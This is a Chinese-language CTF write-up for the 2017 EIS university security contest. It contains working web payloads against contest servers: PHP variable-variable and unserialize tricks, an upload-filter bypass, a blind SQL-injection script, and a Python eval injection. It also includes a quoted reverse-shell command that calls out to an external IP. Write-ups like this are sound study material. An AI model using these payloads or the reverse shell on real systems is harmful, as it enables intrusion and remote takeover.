EIS2017也就是2017年高校网络信息安全管理 运维挑战赛,全国一百多所高校参赛,侥幸拿了个地区三等奖,
事先不知道理论赛占分比,不然就会是二等奖(吐槽),生活没有如果,下次努力吧。

比赛已经结束大概两周了,直到前几天奖杯到了才想起来写下吧,结果拖延到今天。写下来方便以后查看。

总体来说比赛题目不是太难,刚开始的题目都被各位表哥都给秒了。下面就看一下吧。

一、签到题

一个二维码,直接扫下就出来了flag(EIS{2a051b6c88b5a1211655d110259196b8}

二、PHP代码审计

说了简单的代码审计,打开就是源码,没有其他过多的套路。

这个题目以前是做过的,先引入flag1.php文件代码,然后通过get方式传递 args变量才能执行if里面的代码,正则表达式的意思是匹配任意 [A-Za-z0-9_] 的字符,就是任意大小写字母和0到9以及下划线组成,这里才是关键eval("var_dump($$args);");百度一下可以知道是可变变量,只需给变量传一个全局数组变量就好了 所以我们构造 args=GLOBALS。链接(http://202.112.26.124:8080/edd1620126f2caeb5c2b3b9452fa2639/index.php?args=GLOBALS),截图如下

三、随机数

打开让填随机数,运气哪有那么好?发现规律是都是三位数字,没有超过1000,干脆爆破,其实也不用写什么脚本,burpsuite就好,抓包,爆破100--999

四、快速计算

算术题,人哪能算那么快,写个脚本吧

import requests

from bs4 import BeautifulSoup

url1 = "http://202.120.7.220:2333/"

url2 = "http://202.120.7.220:2333/index.php"

requ = requests.get(url1)

requ = requ.content

Soup = BeautifulSoup(requ,'lxml')

list = Soup.find('form')

result = eval(list.text[13:-1])

print(result)

post = requests.post(url2,data = {'v' : result})

print(post.text)

截图如下flag(EIS{sdf4we5554})

五、PHP是最好的语言

首先打开啥都没有,扫下,发现(http://202.112.26.124:8080/95fe19724cc6084f08366340c848b791/index.php.bak),bak文件泄露,下载,看到源码,感觉很熟悉,用的是PHP的函数漏洞,找了篇相关的题目(http://www.mamicode.com/info-detail-1458817.html),然后自己构造了payload如下(http://202.112.26.124:8080/95fe19724cc6084f08366340c848b791/index.php

?foo=a:2:{s:6:"param1";s:5:"2018e";s:6:"param2";a:5:{i:0;a:1:{i:0;i:1;}i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:0;}}

&egg[0]=%00MyAns

&egg[1][]=1111)

六、php trick

打开查看源代码,看到源码,简单的看下就知道是变量覆盖,GET提交,然后绕过验证的问题,因此直接构造payload:/index.php?flag=&gift=

这里注意下,没有index.php的话是不出flag的,看到假flag后然后进行移位就可以看到真flag。(EIS{jbfuvsynt})

七、不是管理员也能登陆

Php弱类型,反序列化

让看说明与帮助,那就点开看看呗,看到了部分代码

$test=$_GET['userid']; $test=md5($test); <br>   if($test != '0'){ <br>       $this->error('用户名有误,请阅读说明与帮助!');

$pwd =$this->_post("password");$data_u = unserialize($pwd);if($data_u['name'] == 'XX' && $data_u['pwd']=='XX')    {      print_r($flag);    }

上述代码可以知道,userid用MD5  0e就可以进行绕过,这里选个值吧s155964671a,password是反序列化,所以构造payload:a:2:{s:4:"name";b:1;s:3:"pwd";b:1;}

在首页进行输入就得到flag

八、文件上传

这个题被队伍的一个老哥拿了一血,上传的时候检测关键字,这个时候需要绕过,burpsuite抓包,更容易分析点。

可以用数组绕过,并且把关键字给分开进行提交,这样就可以进行上传,可以这样构造payload:ext=php&content[]=<?p&content[]=hp%0aphpinfo();

这样会上传成功,得到路径,打开即可得到flag

九、Login

只有一个登陆框,套路肯定是注入了,SQL盲注,位异或,别的运算符和函数都被禁了,直接上脚本

import requests

def getlen(url):

i=1;

while 1:

payload={'uname':"1'^(length(pwd)=%d)^'0"%(i),'pwd':'123456'}

#print payload

reponse=requests.post(url,payload)

text=reponse.content

#print text

if text.find("password error!")!=-1:

break

else:

i=i+1

return i

def getpwd(url,len,list):

ch=""

for i in range(1,len+1):

for c in list:

payload={'uname':"1'^(left(pwd,%d)='%s')^'0"%(i,ch+c),'pwd':'123456'}

reponse=requests.post(url,payload)

#print payload

text=reponse.content

if text.find("password error!")!=-1:

ch=ch+c

print ch

break

else:

pass

if __name__=='__main__':

list=[]

for i in range(10):

list.append(str(i))

for i in range(65,91):

list.append(chr(i))

for i in range(97,123):

list.append(chr(i))

url="http://202.112.26.124:8080/fb69d7b4467e33c71b0153e62f7e2bf0/index.php"

len=getlen(url)

print len

getpwd(url,len,list)

跑出来密码,然后账号admin,加上刚刚跑出的密码登陆就可得到flag。

十、隐藏在黑夜里的秘密

下载下来一个zip压缩包,是个伪加密,打开winhex,搜索所有的504B

然后把后面1400 后的全改成0000 然后密码就没了,提取出来图片即flag

十一、easy crypho

下面的是队友写的了。解密题目,对着给出的代码走一遍就能写出来。下载下来压缩包,两个txt文件,对应着可以写出python脚本。

得到flag:EIS{55a0a84f86a6ad40006f014619577ad3}

十二、igniteMe

逆向题,队友写的,ida打开,找到关键关键位置,分析应用将输入字符串转为HEX,经过一系列转化之后和一个数组进行比较,步骤看脚本:

十三、Reverseme

逆向题,ida打开,找到关键关键位置,流程和上一道题一样,队友直接扔脚本,我也很无奈。

十四、Flagapp

唉,好气都是队友做的,他说发现apk一个文件头部有一点点的小问题,修补dex后签名得到正确apk。逆向解包出两个.so文件。用ida打开其中一个,发现密码就是flag,根据代码生成密码得到输出。

反正我是一愣一愣的,结果输出来,好像flag还有点错误,把最后一位改成了大括号,稍微改了一下就出来了flag。

------------------------------------------------------------------------------下面是没有做出来的,给出别人的解题步骤------------------------------------------------------------------------------

十五、Apache

Hacklu原题

通过__libc_start_main劫持strlen函数来安装后门,满足条件的payload可以被system执行,最后首先发送一个正常的get请求,再发送/index.html?eqeqeqbnbnbnbnbkwkwkwkwhththththqeq=bash_-c_‘bash_-i_>&_/dev/tcp/202.112.50.114/5555_0>&1’获得一个reverse shell,直接cat flag.txt即可。

URL 中需有 ‘dpdpdpamamamamajvjvjvjvgsgsgsgsgpdp’ or ‘eqeqeqbnbnbnbnbkwkwkwkwhththththqeq’,后⾯面跟命令即可,其中下划线会被替换为空格。

十六、SimpleCMS

参考链接http://www.blogsir.com.cn/safe/471.html

十七、DNS001

参考链接http://www.blogsir.com.cn/safe/465.html

十八、验证码

本题逻辑十分简单,请求服务器器⼀个验证码,服务器器返回字符画。请求结果,服务端校验结果。有⼀个隐藏的 help 指令,可以 reconnect,问题在于如何指定 reconnect 的服务器,将发给 ws 服务的 json 中的值依次替换成 [] 可以通过报错信息推断后端逻辑,得到 method 会被带⼊入到 getattr 中,那么必须得是⼀一个类中规定好的⽅方 法才能够带⼊入进来,可行的操作并不不多,测试了__init__ 函数,根据错误信息发现可以带⼊两个参数, 因此发包如下

{“method”:”init”,”args”:[ip,port]}

接着调⽤用 reconnect

{“method”:”reconnect”}

此时服务器器上监听的端⼝口已收到信息。

我们继续请求新的验证码,发现服务端向我们请求⼀一个操作符,操作数由服务端⽣生成好了了,因此猜测整个表达式被带⼊入到 eval 中得到返回值,再给客户校验计算结果。那么答案也就显⽽易见了。我们将给客户的操作符定 义为

+__import__('os').system('python\x20/tmp/melody.py')+

那么被带⼊入到后端就会变成

eval("1+__import__('os').system('python\x20/tmp/melody.py')+2")

我们的代码就得到执⾏行行了了,尝试后成功反弹 shell。 最后在 arifmetics.py 中找到 flag。

cat ar*
import asyncio
from hashlib import md5
from random import choice, randint
from threading import Thread SALT = b"EIS{87a5d7e4aae098be036d6b8035e4}

以上就是2017年高校网络信息安全管理 运维挑战赛的18个比赛题目的writeup。记录一下,相互学习。

任重而道远!

本文链接(http://www.cnblogs.com/Oran9e/p/7860074.html),转载请注明。

2017EIS CTFwriteup的更多相关文章

  1. 2017EIS高校运维大赛ctf wirteup

    php代码审计 题目很简单GET传入参数args然后eval(var_dump($$args))直接传入全局变量GLOBALS就能执行 php是最好的语言 .bak泄露拿到源码 <?php $v ...

  2. 入CTF坑必不可少的地方-保持更新

    0x00 前言 没有交易,没有买卖,没有排名,纯属分享:p 0x01 CTF介绍 CTF领域指南CTF介绍大全CTF赛事预告 0x02 CTF练习 BIN:reversingpwnableexploi ...

  3. CTF干货合集

    CTF练习平台 http://hackinglab.cn/ 网络信息安全攻防学习平台 http://captf.com/ ctf题目 http://oj.xctf.org.cn/ XCTF_OJ练习平 ...

  4. 引言:CTF新世界

    1. CTF的昨天和今天 CTF(Capture The Flag)中文一般译作夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式.CTF起源于1996年DEFCON全球黑客 ...

随机推荐

  1. 有人提了一个问题:一定要RESTful吗?

    写在前面的话 这个问题看起来就显得有些萌,或者说类似的问题都有些不靠谱,世上哪有那么多一定的事情,做开发都不一定做多久呢,所以说如果你有这个疑问的话是真真有点儿不着调,不过可能也就是随口一问吧,没有深 ...

  2. VUE长按事件

    PS:在开发中常常会有长按事件的需求,这里我简单的介绍几种长按事件的需求 需求一:长按数字累加或者累减 HTML: <div class="mui-numbox" data- ...

  3. git无法pull仓库refusing to merge unrelated histories

    本文讲的是把git在最新2.9.2,合并pull两个不同的项目,出现的问题如何去解决fatal: refusing to merge unrelated histories 我在Github新建一个仓 ...

  4. 微信开发-微信JSSDK错误:invalid url domain

    错误类型:invalid url domain 调试返回参数: { "errMsg": "config:invalid url domain" } 截图: 环境 ...

  5. keepalived实现nginx高可用

    keepalived是什么 keepalived直译就是保持存活,在网络里面就是保持在线了,也就是所谓的高可用或热备,用来防止单点故障(单点故障是指一旦某一点出现故障就会导致整个系统架构的不可用)的发 ...

  6. 长话短说 之 js的原型和闭包

    原型链:undefined, number, string, boolean 属于简单的值类型,函数.数组.对象.null.new obj()都是引用类型.检测值类型用typeof x 即可,检测引用 ...

  7. 在Owin Self-Hosing下实现每个请求中共享上下文(数据)

    问题 这几天在做公司的外部WebApi网关,由于使用了OAuth2.0,所以不得不使用Owin来部署网关. 而涉及到请求上下文的问题,为了使业务层能获取到请求头的信息,又不与网关耦合,决定把请求信息写 ...

  8. LeetCode 476. Number Complement (数的补数)

    Given a positive integer, output its complement number. The complement strategy is to flip the bits ...

  9. LeetCode 31. Next Permutation (下一个排列)

    Implement next permutation, which rearranges numbers into the lexicographically next greater permuta ...

  10. jQrid常用操作(转帖)

    转自: http://blog.csdn.net/zhcj3672/article/details/6944955 JqGrid相关操作备忘 方法列表 1.获得当前列表行数: $("#gri ...